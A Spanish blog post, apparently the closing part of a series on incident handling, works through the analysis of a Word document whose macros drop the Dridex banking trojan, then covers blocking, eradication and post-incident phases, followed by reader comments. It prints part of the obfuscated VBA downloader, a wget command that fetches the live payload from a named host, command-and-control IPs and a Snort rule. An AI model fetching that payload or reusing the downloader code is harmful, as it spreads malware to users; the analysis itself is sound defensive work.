Una vez solicitados y aplicados los bloqueos iniciales es posible analizar el documento con más calma, esto sirve principalmente para adquirir inteligencia sobre el malware y encontrar métodos más eficientes de gestionar incidentes relacionados con él. Por lo que se volverá a repetir la fase Incident Resolution, en esta ocasión el tiempo de respuesta no es tan importante, ya se han realizado las primeras tareas de contención, la empresa debería estar libre de este Malware o camino de estarlo.
5. Fase 5 – Incident Resolution II.
5.a. Data Analysis II: La primera tarea es descargar el fichero “File.exe”. La última vez que lo comprobé aún seguía disponible (09-4-2015). También es recomendable mirar las macros por si hubiese alguna información más. Desde office nos solicita contraseña:
Con oledump parece que la macro está ofuscada:
# python oledump-0.0.12/oledump.py -p plugin_http_heuristics.py \(Payment\)\ 04.07.15.doc 1: 113 '\x01CompObj' 2: 4096 '\x05DocumentSummaryInformation' 3: 4096 '\x05SummaryInformation' 4: 4649 '1Table' 5: 718 'Macros/PROJECT' 6: 131 'Macros/PROJECTwm' 7: 97 'Macros/UserForm1/\x01CompObj' 8: 291 'Macros/UserForm1/\x03VBFrame' 9: 90 'Macros/UserForm1/f' 10: 1318 'Macros/UserForm1/o' 11: M 8196 'Macros/VBA/FILE6' Plugin: HTTP Heuristics plugin FILE6 '\x05\x12\x13L\x03X' InternetCloseHandle InternetOpenA '"{^\xaew\xadE\xe6\x9d\x16)^' '"{^\xaew\xad:\x97\xa7R\xb9@' InternetCloseHandle InternetOpenA '"{^\xaew\xadE\xe6\x9d\x16)^' '"{^\xaew\xad:\x97\xa7R\xb9@' HAZ 12: M 5225 'Macros/VBA/IDL4' Plugin: HTTP Heuristics plugin ' 2\xf8' g^&XZmuF3X_ UB*[X 'hUv\x05\x18&LS' '\\B7D\x0cl\x1bA4C\x18\'FY,DOz\r\x0fmC\x18*ZB&F_"\x1aF/\x1b\x07r\x1b\x06s\x00\x18&LS' '\x81ME\xedzWH\xc1;AU\x81' '\xc4lF\xc4lF\xc4lF\xc4lF\xc4lF' 13: M 5803 'Macros/VBA/M' Plugin: HTTP Heuristics plugin M CACACARDRDRDRD 14: M 3887 'Macros/VBA/PIDLE0' Plugin: HTTP Heuristics plugin PIDLE0 15: M 1810 'Macros/VBA/ThisDocument' Plugin: HTTP Heuristics plugin 'N\x18\xac\x0e\x87.\x99\xe9\xed' 16: m 1160 'Macros/VBA/UserForm1' Plugin: HTTP Heuristics plugin UserForm1 17: 5987 'Macros/VBA/_VBA_PROJECT' 18: 967 'Macros/VBA/dir' 19: 4151 'WordDocument'
Las oletools nos muestran el código VBA y la ofuscación de la URL. Si fuese necesario de aquí se podrían extraer datos, o incluso recomponer las macros, pero como ya tenemos el dominio no es necesario.
# python oletools-0.08a/oletools/olevba.py \(Payment\)\ 04.07.15.doc Flags Filename ------ ------------------------------------------------------------------------ OMASIH /home/null/Compartido/attachment/(Payment) 04.07.15.doc (Flags: O=OLE, X=OpenXML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex-encoded strings, ?=Unknown) =============================================================================== FILE: /home/null/Compartido/attachment/(Payment) 04.07.15.doc Type: OLE ------------------------------------------------------------------------------- VBA MACRO ThisDocument.cls in file: /home/null/Compartido/attachment/(Payment) 04.07.15.doc - OLE stream: u'Macros/VBA/ThisDocument' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Sub InIn() CALTHA End Sub Sub autoopen() InIn End Sub - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ANALYSIS: +----------+----------+---------------------------------------+ | Type | Keyword | Description | +----------+----------+---------------------------------------+ | AutoExec | AutoOpen | Runs when the Word document is opened | +----------+----------+---------------------------------------+ ------------------------------------------------------------------------------- VBA MACRO FILE6.bas in file: /home/null/Compartido/attachment/(Payment) 04.07.15.doc - OLE stream: u'Macros/VBA/FILE6' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Option Explicit Public Const C1C1C1A = "BRITTANY" #If VBA7 And Win64 Then Public _ Declare _ PtrSafe _ Function _ C1C1C1 Lib _ "wininet.dll" Alias "InternetCloseHandle" (ByRef C26C26C26 As LongPtr) As Long Public _ Declare _ PtrSafe _ Function _ C2C2C2 Lib _ "wininet.dll" Alias "InternetOpenA" (ByVal C27C27C27 As String, ByVal C28C28C28 As Long, ByVal C29C29C29 As String, ByVal C30C30C30 As String, ByVal C31C31C31 As Long) As LongPtr Public _ Declare _ PtrSafe _ Function _ C3C3C3 Lib _ "wininet.dll" Alias "InternetReadFile" (ByVal C32C32C32 As LongPtr, ByVal C33C33C33 As String, ByVal C34C34C34 As Long, C35C35C35 As Long) As Integer Public _ Declare _ PtrSafe _ Function _ C4C4C4 Lib _ "wininet.dll" Alias "InternetOpenUrlA" (ByVal C36C36C36 As LongPtr, ByVal C37C37C37 As String, ByVal C38C38C38 As String, ByVal C39C39C39 As Long, ByVal C40C40C40 As Long, ByVal C41C41C41 As Long) As LongPtr #Else Public Declare Function C1C1C1 Lib "wininet.dll" _ Alias "InternetCloseHandle" (ByRef C26C26C26 As Long) As Long Public Declare Function C2C2C2 Lib "wininet.dll" _ Alias "InternetOpenA" (ByVal C27C27C27 As String, ByVal C28C28C28 As Long, ByVal C29C29C29 As String, ByVal C30C30C30 As String, ByVal C31C31C31 As Long) As Long Public Declare Function C3C3C3 Lib "wininet.dll" _ Alias "InternetReadFile" (ByVal C32C32C32 As Long, ByVal C33C33C33 As String, ByVal C34C34C34 As Long, C35C35C35 As Long) As Integer Public Declare Function C4C4C4 Lib "wininet.dll" _ Alias "InternetOpenUrlA" (ByVal C36C36C36 As Long, ByVal C37C37C37 As String, ByVal C38C38C38 As String, ByVal C39C39C39 As Long, ByVal C40C40C40 As Long, ByVal C41C41C41 As Long) As Long #End If ..................................................
El siguiente paso es analizar el fichero “file.exe”, para lo que disponemos de dos opciones: ejecutarlo directamente en la máquina virtual o dejar que la macro lo ejecute. Personalmente prefiero la segunda opción, al ser la opción más “natural”. Podemos hacerlo de la siguiente manera, simulando un agente especial (HAZ), emulando la descarga tal y como sería:
#wget www.droopy999.w.interia.pl/11/004.exe --user agent="HAZ" --2015-04-08 16:48:03-- http://www.droopy999.w.interia.pl/11/004.exe Resolviendo www.droopy999.w.interia.pl (www.droopy999.w.interia.pl)... 217.74.65.162 Conectando con www.droopy999.w.interia.pl (www.droopy999.w.interia.pl)[217.74.65.162]:80... conectado. Petición HTTP enviada, esperando respuesta... 302 Moved Temporarily Localización: http://droopy999.w.interia.pl/11/004.exe [siguiendo] --2015-04-08 16:48:09-- http://droopy999.w.interia.pl/11/004.exe Resolviendo droopy999.w.interia.pl (droopy999.w.interia.pl)... 217.74.65.162 Reutilizando la conexión con www.droopy999.w.interia.pl:80. Petición HTTP enviada, esperando respuesta... 200 OK Longitud: 80896 (79K) [application/octet-stream] Grabando a: “004.exe” 100%[========================================================================================= ========>] 80.896 191K/s en 0,4s 2015-04-08 16:48:14 (191 KB/s) - “004.exe” guardado [80896/80896] # nc -k -l -p 80 < 004.exe
Hacemos que el netcat le devuelva el fichero cuando se realiza la petición web, por lo que es necesario volver a ejecutar las macros.
Me gusta usar este método porque en alguna ocasión me he encontrado que la macro le pone algún parámetro especial o copia el fichero en algún directorio concreto, de esta forma simulamos completamente la ejecución.
Al observar el wireshark que estaba escuchando en la interface vboxnet0 observamos ciertos paquetes sospechosos:
Volvemos a ejecutar las macros del fichero, pero esta vez uso el procmon de las SysinternalsSuite, para monitorizar el proceso:
Vemos como el proceso WINWORD.EXE lanza un proceso c49.exe que se convierte en edg405.exe. Ese fichero se ha copiado a C:/, pero está oculto. Podéis copiarlo si ejecutáis el siguiente comando en una consola de windows: attrib -s -h -r *.*.
Vamos a simular las conexiones que realiza a las IP:
89.28.83.228:8443 78.24.218.186:8443 37.140.199.100:8443 74.119.194.18:8443
La manera más sencilla es crear cuatro nuevas interfaces virtuales en Virtualbox: vboxnet1, vboxnet2, vboxnet3 y vboxnet4.
Las configuramos de la siguiente manera:
Ifconfig vboxnet1 89.28.83.228 netmask 255.255.255.0 Ifconfig vboxnet2 78.24.218.186 netmask 255.255.255.0 Ifconfig vboxnet3 37.140.199.100 netmask 255.255.255.0 Ifconfig vboxnet4 74.119.194.18 netmask 255.255.255.0
Al poner el puerto 8443 a escuchar obtenemos el siguiente resultado:
#nc -k -l -p 8443 �L##3## #��#� #@db###�#�##cG#�^�V��*�2����?
Lo que parece tratarse de tráfico cifrado.
En los procesos de procmon se observa cómo se realizan muchas acciones sobre claves de registro y ficheros relacionados con Internet Explorer, por lo que podemos adelantar que parece tratarse de un troyano bancario: de un DRIDEX. Este tipo de troyano se infecta inyectado diferentes DLL, para inyectar o capturar trafico HTML y suele ser complicado de desinfectar.
5.b. Resolution Research II: Igual que antes bloquear y generar reglas de detección para las IP a las que conecta.
alert tcp any any -> [89.28.83.228,78.24.218.186,37.140.199.100,74.119.194.18] 8080 (msg:"S2-Malware posible Dridex contacto con CC";reference:url,https://www.securityartwork.es/; classtype:trojan-activity; sid:XXX; rev:1;)
5.c. Action Proposed II: Aplicar reglas y bloqueo.
5.d. Erradication and Recovery II. Se busca en los logs de navegación contactos con 89.28.83.228, 78.24.218.186, 37.140.199.100 o 74.119.194.18 y se aplica la solución oportuna: formatear o esperar que el antivirus se encargue. Se podría realizar un IOC (indicador de compromiso) para facilitar la detección. Si tenemos en la empresa un controlador de dominio, una manera fácil es hacer un script en batch.
Este virus modifica diferentes ficheros y puede que cambie según el sistema en el que se ejecute, sin embargo he notado que por mucho que reinicie el equipo hay un fichero que siempre permanece: el fichero “edgXXX.exe” que se mantiene en “C:\”, en este caso “c:\edge405.exe”. Se podría hacer un pequeño programa en batch que compruebe la existencia de ese fichero y distribuirlo como un GPO, lo que nos serviría como indicador de compromiso, pero eso daría para otro artículo.
6. Fase 6 - Closing Incident. Procedemos a cerrar el incidente. Esta fase se divide en varios pasos:
6.a. Final Information: Se trata de documentar el incidente siendo lo más exhaustivo posibles, teniendo en cuenta datos como procedencia del ataque, posibles objetivos, infecciones detectadas. Hay que tener presente que se han ido documentando todos y cada uno de los pasos realizados.
6.b. Final classification. Una vez finalizada la investigación hay que clasificar correctamente el incidente. Esto se usa principalmente para realizar informes y análisis o tendencias.
6.c. Archiving. Archivamos el incidente, cuyo objetivo es no investigar dos veces el mismo virus o consultar soluciones que hayamos propuesto.
7. Fase 7 - Post analysis: Este paso es muy importante. Normalmente conviene sentarse una vez gestionado un incidente, o una vez a la semana y ver las estadísticas de incidentes, para proponer posibles soluciones y que los incidentes no se vuelvan a producir. Como normalmente se ha tardado tiempo en pensar las soluciones que se han aplicado, esta fase también es adecuada para procedimentar soluciones, aunque su objetivo principal es buscar soluciones a largo plazo.
8. Fase 8 - Proposals for improvement. Por último, queremos que el incidente nos ayude a implementar o diseñar mejoras para que determinados incidentes no se vuelvan a dar así como para mejorar el procedimiento de gestión de incidentes.
En este caso las mejoras pasan por la detección de documentos con macros, ya que bloquear este tipo de documentos es muy complicado y poco funcional, debido a su uso legítimo en el ámbito corporativo; proponerle a una organización que no permita el uso de macros es prácticamente inviable. Sí cabría valorar la realización de una campaña de concienciación para que los usuarios no ejecuten macros que vengan orígenes no confiables.
Espero que esta breve serie os haya ayudado a identificar las fases de gestión de un incidente y su funcionamiento en un caso real.
He disfrutado leyendo la saga. Muy bueno.
Sería posible otra serie del análisis de los patrones comunes que usan los malwares (aunque claro, es algo díficil de poder predecir todos los patrones) para propagarse? Como por ejemplo, las llamadas a sistema que realizan, y las secuencias de las mismas, modificaciones de sistema de archivos, registro (suponiendo que estamos en sistema Windows), etc?
Un saludo
Excelente serie de artículos Manuel. Pondré en practica toda la metodología. Muchas gracias por todo el conocimiento. Un saludo.
Nedim, hay una pequeña aplicación que se llama noriben https://github.com/Rurik/Noriben entre muchas cosas te filtra los datos de procmon. Otra solución es pasar el fichero por cuckoo e intentar sacar patrones de el análisis que te da cuckoo. Sacar patrones de un nivel más bajo como ensamblador me parece complicado.
Un saludo.